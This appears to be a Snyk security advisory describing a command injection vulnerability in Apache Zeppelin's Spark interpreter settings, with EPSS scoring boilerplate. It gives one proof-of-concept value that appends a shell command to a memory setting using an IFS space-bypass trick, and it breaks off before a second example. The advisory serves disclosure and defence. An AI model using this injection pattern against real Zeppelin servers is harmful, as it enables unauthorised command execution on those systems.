Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.

org.apache.zeppelin:zeppelin is a web-based notebook that enables interactive data analytics.
Affected versions of this package are vulnerable to Command Injection. Bash command injection vulnerability in Apache Zeppelin allows an attacker to inject system commands into Spark interpreter settings.
# Insert into Spark interpreter settings # This example will also crash Spark jobs because command line is truncated spark.executor.memory=16g;touch${IFS%?}/tmp/test
Or another example, in this case Spark jobs will be executed normally without interruption
